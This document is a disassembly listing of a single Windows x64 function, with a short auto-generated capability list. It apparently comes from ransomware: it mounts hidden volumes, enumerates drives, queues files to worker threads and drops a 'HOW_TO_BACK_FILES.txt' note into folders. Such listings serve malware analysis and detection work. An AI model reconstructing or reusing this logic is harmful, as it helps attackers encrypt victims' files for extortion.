Function at 0x140006a14
Capabilities:
Create thread
Enumerate disk volumes
Get disk information
Get disk size
Get file attributes

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe60]
sub rsp, 0xf60
mov rax, qword [0x140059010]
xor rax, rsp
mov qword [rbp + 0xe50], rax
mov r15, r9
mov byte [rsp + 0x30], r8b
mov r14b, r8b
mov qword [rsp + 0x68], rcx
mov r13, rdx
mov rdi, rcx
mov ebx, 0xa
xor r8d, r8d
mov r9d, ebx
xor edx, edx
or rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r12d, r12d
mov qword [0x14005bb58], rax
test rax, rax
je 0x140007594
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], ebx
call fcn.14001bbb0
mov dword [rsp + 0x34], eax
xorps xmm0, xmm0
mov qword [rbp - 0x10], r12
lea ebx, [r12 + 1]
movdqu xmmword [rbp - 0x20], xmm0
test eax, eax
je 0x140006b02
mov ebx, eax
mov qword [rsp + 0x28], r12
lea r8, [0x140006080]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, qword [rbp - 0x18]
mov qword [rsp + 0x60], rax
cmp rdx, qword [rbp - 0x10]
je 0x140006ae9
mov qword [rdx], rax
add qword [rbp - 0x18], 8
jmp 0x140006af7
lea r8, [rsp + 0x60]
lea rcx, [rbp - 0x20]
call fcn.14000ae74
sub rbx, 1
jne 0x140006ab2
mov ebx, 1
lea rax, [0x140005d48]
mov qword [rsp + 0x28], r12
lea r9, [rbp - 0x48]
mov qword [rbp - 0x40], rax
lea r8, [fcn.1400068d8]
mov qword [rbp - 0x48], rdi
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor edx, edx
mov word [rbp + 0x230], r12w
mov r8d, 0x206
mov qword [rsp + 0x70], rax
lea rcx, [rbp + 0x232]
call fcn.14001f140
mov edx, 0x104
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov rsi, rax
mov edi, 0x5a
or rax, 0xffffffffffffffff
cmp rsi, rax
je 0x140006c7e
xor edx, edx
lea rcx, [rbp + 0x440]
mov r8d, 0x208
call fcn.14001f140
lea r9, [rbp - 0x38]
mov dword [rbp - 0x38], r12d
mov r8d, 0x104
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
cmp dword [rbp - 0x38], ebx
jne 0x140006bed
lea ebx, [rdi - 0x17]
lea rdx, [rbp + 0x230]
mov word [rbp + 0x200], bx
lea rcx, [rbp + 0x200]
mov dword [rbp + 0x202], 0x5c003a
mov word [rbp + 0x206], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x140006bed
inc ebx
cmp ebx, edi
jle 0x140006bb6
mov r14d, 1
mov r8d, 0x104
lea rdx, [rbp + 0x230]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
lea r9, [rbp - 0x38]
mov r8d, 0x104
lea rdx, [rbp + 0x440]
mov edi, eax
lea rcx, [rbp + 0x230]
call qword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x140006c71
cmp dword [rbp - 0x38], r14d
jne 0x140006c71
mov ebx, 0x43
lea rdx, [rbp + 0x230]
mov word [rbp + 0x208], bx
lea rcx, [rbp + 0x208]
mov dword [rbp + 0x20a], 0x5c003a
mov word [rbp + 0x20e], r12w
call qword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
jne 0x140006c71
add ebx, r14d
cmp ebx, 0x5a
jle 0x140006c38
test edi, edi
jne 0x140006bf3
mov r14b, byte [rsp + 0x30]
mov r12d, 0x41
movzx ebx, r12w
lea esi, [r12 - 0x40]
movzx edi, bx
lea r8, [0x140050718]
mov r9d, edi
lea rcx, [rbp + 0x210]
mov edx, 0xa
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140006dc3
xor esi, esi
lea r8, [0x140050728]
mov r9d, edi
mov qword [rbp - 0x58], rsi
lea rcx, [rbp + 0x210]
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x28], rsi
lea edx, [rsi + 0xa]
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x30]
lea rdx, [rbp - 0x58]
lea rcx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov rdi, qword [0x14005bc20]
mov rax, qword [rbp - 0x30]
mov rcx, rdi
sub rax, qword [rbp - 0x28]
mov qword [rbp - 0x68], rax
mov rax, qword [rdi + 8]
mov qword [rsp + 0x38], rax
mov qword [rbp - 0x60], rsi
mov dword [rsp + 0x40], esi
jmp 0x140006d52
mov qword [rsp + 0x38], rax
cmp word [rax + 0x20], bx
jae 0x140006d44
mov rax, qword [rax + 0x10]
mov dword [rsp + 0x40], esi
jmp 0x140006d52
mov rcx, rax
mov dword [rsp + 0x40], 1
mov rax, qword [rax]
cmp byte [rax + 0x19], sil
je 0x140006d2f
cmp byte [rcx + 0x19], sil
jne 0x140006d64
cmp bx, word [rcx + 0x20]
jae 0x140006dbe
movabs rax, 0x492492492492492
cmp qword [0x14005bc28], rax
je 0x1400075c4
mov ecx, 0x38
call fcn.14001c57c
movups xmm0, xmmword [rbp - 0x68]
mov r8, rax
lea rdx, [rbp - 0x80]
lea rcx, [0x14005bc20]
movdqu xmmword [rax + 0x28], xmm0
mov word [rax + 0x20], bx
movups xmm0, xmmword [rsp + 0x38]
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov qword [rax + 0x10], rdi
movdqu xmmword [rbp - 0x80], xmm0
mov word [rax + 0x18], si
call fcn.14000b3c0
mov esi, 1
add bx, si
mov eax, 0x5a
cmp bx, ax
jbe 0x140006c8d
mov rbx, qword [r15]
mov rdi, qword [r15 + 8]
cmp rbx, rdi
je 0x140006f6e
lea r14d, [rax - 0x29]
lea r13d, [rax - 0x59]
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006df9
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
mov r8d, r13d
call fcn.140006324
add rbx, 0x20
cmp rbx, rdi
jne 0x140006dec
mov r12, qword [r15 + 8]
mov rbx, qword [r15]
jmp 0x140006f5d
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006e29
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
bt eax, 4
jae 0x140006e55
cmp qword [rbx + 0x18], 8
mov rcx, rbx
jb 0x140006e42
mov rcx, qword [rbx]
mov edx, r14d
xor r9d, r9d
xor r8d, r8d
call fcn.140006324
jmp 0x140006f59
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x140006e62
mov rsi, qword [rbx]
mov rcx, rsi
call fcn.140005b34
mov ecx, 0x30
movzx r15d, ax
call fcn.1400234c4
mov rdi, rax
test rax, rax
je 0x140006f59
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x28], r15w
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400234c4
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140006ed6
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14005bb58]
mov r9, rdi
xor r8d, r8d
mov dword [rdi + 0x2c], r13d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140006f43
lock add dword [0x14005bb50], r13d
lock add dword [0x14005bbcc], r13d
mov ecx, 0x2000
call fcn.1400234c4
mov rdi, rax
test rax, rax
je 0x140006f59
lea rax, str.HOW_TO_BACK_FILES.txt
mov r9, rsi
lea r8, str._s__s
mov qword [rsp + 0x20], rax
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call fcn.140005f24
jmp 0x140006f51
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140006f51
call fcn.1400234b0
mov rcx, rdi
call fcn.1400234b0
add rbx, 0x20
cmp rbx, r12
jne 0x140006e1c
xor r15d, r15d
jmp 0x1400071e5
xor r15d, r15d
test r13, r13
je 0x140006ffe
mov ebx, 0x400
lea rcx, [rbp + 0x650]
mov edx, ebx
mov r8, r13
call fcn.140026e48
test rax, rax
je 0x140006ff6
lea r14d, [r15 + 0x31]
lea rcx, [rbp + 0x650]
call fcn.140005b64
lea rcx, [rbp + 0x650]
call fcn.140005b34
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
mov r8d, esi
call fcn.140006324
mov edx, r14d
lea rcx, [rbp + 0x650]
xor r9d, r9d
xor r8d, r8d
call fcn.140006324
mov r8, r13
lea rcx, [rbp + 0x650]
mov edx, ebx
call fcn.140026e48
test rax, rax
jne 0x140006f99
mov r14b, byte [rsp + 0x30]
mov rcx, r13
call fcn.140026490
test r14b, r14b
jne 0x1400071df
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
movzx ebx, r12w
mov eax, 0x5a
lea r13d, [rax - 0x59]
test r13b, r14b
je 0x1400070b9
mov ecx, 0x18
call fcn.1400234c4
mov rdi, rax
test rax, rax
je 0x1400070b4
movzx r15d, bx
lea r8, [0x140050718]
mov r9d, r15d
mov dword [rax + 0x14], r13d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x1400070b1
mov r9d, r15d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rdi
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
xor r15d, r15d
lea r8, [0x14000674c]
mov qword [rsp + 0x28], r15
mov r9, rdi
xor edx, edx
mov dword [rsp + 0x20], r15d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, esi
add esi, r13d
mov qword [rbp + rcx*8 + 0x60], rax
jmp 0x1400070b4
xor r15d, r15d
mov eax, 0x5a
add bx, r13w
shr r14d, 1
cmp bx, ax
jbe 0x140007020
or r9d, 0xffffffff
lea rdx, [rbp + 0x60]
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x1400070f8
lea rbx, [rbp + 0x60]
mov edi, esi
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x1400070e6
mov edi, r15d
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov eax, 0x5a
test r13b, sil
je 0x14000719a
mov ecx, 0x18
call fcn.1400234c4
mov rbx, rax
test rax, rax
je 0x140007195
movzx r14d, r12w
lea r8, [0x140050718]
mov r9d, r14d
mov dword [rax + 0x14], r15d
mov edx, 0xa
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
add eax, 0xfffffffe
cmp eax, 2
ja 0x140007195
mov r9d, r14d
lea r8, str.._c:
mov edx, 0xa
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov r9, rbx
mov qword [rsp + 0x28], r15
lea r8, [0x14000674c]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + rdi*8 + 0x130], rax
add edi, r13d
mov eax, 0x5a
add r12w, r13w
shr esi, 1
cmp r12w, ax
jbe 0x140007108
or r9d, 0xffffffff
lea rdx, [rbp + 0x130]
mov r8d, r13d
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test edi, edi
je 0x1400071e5
lea rbx, [rbp + 0x130]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [rbx + 8]
sub rdi, r13
jne 0x1400071cb
jmp 0x1400071e5
mov r13d, 1
mov rbx, qword [0x14005ca20]
xorps xmm0, xmm0
sub rbx, qword [0x14005ca18]
sar rbx, 5
mov qword [rbp + 8], r15
mov qword [rsp + 0x48], r15
movdqu xmmword [rbp - 8], xmm0
movdqu xmmword [rsp + 0x38], xmm0
test rbx, rbx
je 0x1400072b1
movabs rax, 0x7ffffffffffffff
cmp rbx, rax
ja 0x1400075ca
shl rbx, 5
mov r12d, 0x1000
cmp rbx, r12
jb 0x140007246
mov rcx, rbx
call fcn.140004db4
mov rdi, rax
jmp 0x140007258
test rbx, rbx
je 0x140007255
mov rcx, rbx
call fcn.14001c57c
jmp 0x140007241
mov rdi, r15
mov rsi, qword [0x14005ca20]
lea rax, [rbx + rdi]
mov rbx, qword [0x14005ca18]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x38], rdi
jmp 0x1400072a5
xorps xmm0, xmm0
mov rdx, rbx
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], r15
cmp qword [rbx + 0x18], 8
jb 0x140007291
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.14000b69c
add rdi, 0x20
add rbx, 0x20
cmp rbx, rsi
jne 0x140007276
mov qword [rsp + 0x40], rdi
jmp 0x1400072b7
mov r12d, 0x1000
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x38]
call fcn.14000c460
xor edx, edx
lea rcx, [rbp + 0x10]
lea r8d, [rdx + 0x48]
call fcn.14001f140
lea rcx, [rbp + 0x10]
call fcn.14000b7a4
mov r14, qword [rbp]
mov rdi, qword [rbp - 8]
cmp rdi, r14
je 0x14000731d
mov r15d, dword [rdi]
mov rsi, qword [rbp + 0x48]
mov rbx, qword [rbp + 0x40]
jmp 0x14000730c
cmp dword [rbx], r15d
jne 0x140007308
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.14000ba74
add rbx, 0x28
cmp rbx, rsi
jne 0x1400072f7
add rdi, 4
cmp rdi, r14
jne 0x1400072ea
xor r15d, r15d
lea rcx, [rbp + 0x40]
call fcn.140009814
lea rcx, [rbp + 0x10]
call fcn.14000d344
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14005bbd0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14005ca18]
mov r14, qword [0x14005ca20]
jmp 0x140007416
cmp qword [rbx + 0x18], 8
mov rsi, rbx
jb 0x140007367
mov rsi, qword [rbx]
mov ecx, 0x30
call fcn.1400234c4
mov rdi, rax
test rax, rax
je 0x14000742c
xorps xmm0, xmm0
mov rcx, rsi
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
call fcn.140005b34
mov rcx, rsi
mov word [rdi + 0x28], ax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, r13d
movsxd rcx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.1400234c4
mov qword [rdi + 0x20], rax
test rax, rax
je 0x140007401
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [0x14005bb58]
mov r9, rdi
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
test eax, eax
je 0x140007401
lock add dword [0x14005bb50], r13d
lock add dword [0x14005bbcc], r13d
jmp 0x140007412
mov rcx, qword [rdi + 0x20]
call fcn.1400234b0
mov rcx, rdi
call fcn.1400234b0
add rbx, 0x20
cmp rbx, r14
jne 0x14000735a
lea rcx, [0x14005bbd0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rbx, qword [0x14005ca18]
mov rdi, qword [0x14005ca20]
cmp rbx, rdi
je 0x14000746b
mov rcx, rbx
call fcn.140004a50
add rbx, 0x20
cmp rbx, rdi
jne 0x14000743f
mov rax, qword [0x14005ca18]
mov qword [0x14005ca20], rax
jmp 0x14000746b
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x14005bb54]
mov eax, dword [0x14005bbcc]
cmp eax, ecx
jg 0x140007460
lea rax, [0x14000678c]
mov qword [rbp - 0x50], rax
lea rcx, [rbp - 0x58]
mov rax, qword [rsp + 0x68]
mov qword [rbp - 0x58], rax
call fcn.1400068d8
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x1400074b7
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [rsp + 0x34]
mov ebx, esi
test esi, esi
je 0x1400074de
mov edi, esi
mov rcx, qword [0x14005bb58]
xor r9d, r9d
xor edx, edx
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub rdi, r13
jne 0x1400074c3
mov rdx, qword [rbp - 0x20]
or r9d, 0xffffffff
mov r8d, r13d
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test esi, esi
je 0x14000750f
mov rdi, r15
mov rcx, qword [rbp - 0x20]
mov rcx, qword [rdi + rcx]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdi, [rdi + 8]
sub rbx, r13
jne 0x1400074f8
mov rcx, qword [0x14005bb58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x14000755e
mov rdx, qword [rbp + 8]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffffc
cmp rdx, r12
jb 0x14000754d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400075be
call fcn.14001c5c0
xorps xmm0, xmm0
mov qword [rbp + 8], r15
movdqu xmmword [rbp - 8], xmm0
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x140007594
mov rdx, qword [rbp - 0x10]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, r12
jb 0x14000758f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400075be
call fcn.14001c5c0
mov rcx, qword [rbp + 0xe50]
xor rcx, rsp
call fcn.14001c2c0
mov rbx, qword [rsp + 0xfb0]
add rsp, 0xf60
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1400261d0
int3
call fcn.140004dfc
int3
call fcn.14000aad0
int3